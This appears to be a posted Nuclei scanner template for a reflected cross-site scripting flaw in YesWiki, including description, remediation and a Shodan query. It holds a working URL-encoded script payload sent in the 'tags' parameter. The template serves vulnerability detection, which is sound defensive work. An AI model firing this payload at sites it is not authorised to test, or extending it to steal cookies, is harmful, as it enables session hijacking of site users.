yeswiki-reflected-xss: YesWiki - Cross-Site Scripting

2026-06-17 YesWiki PoC Public

Description

YesWiki versions < 4.5.3 are vulnerable to multiple reflected cross-site scripting (XSS) vulnerabilities, allowing arbitrary JavaScript execution.

PoC

id: yeswiki-reflected-xss

info:
  name: YesWiki - Cross-Site Scripting
  author: MuhammadWaseem
  severity: high
  description: |
    YesWiki versions < 4.5.3 are vulnerable to multiple reflected cross-site scripting (XSS) vulnerabilities, allowing arbitrary JavaScript execution.
  impact:
    Attackers can steal cookies, hijack user sessions, deface websites, or embed malicious content.
  remediation: |
    Upgrade to YesWiki version 4.6.0 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-5724-x3rh-5qqq
  metadata:
    verified: true
    max-request: 1
    shodan-query: "yeswiki"
  tags: xss,yeswiki,cms

http:
  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale/listpages&tags=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "yeswiki-base"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022060e538d958aa6840280534c41004e6da815629ca5453ce8a4389398deace85e6022008d2c2b29589448241b09cc75842117e15098d4449a1a26189f89b4f31047842:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/yeswiki/yeswiki-reflected-xss.yaml

Related Vulnerabilities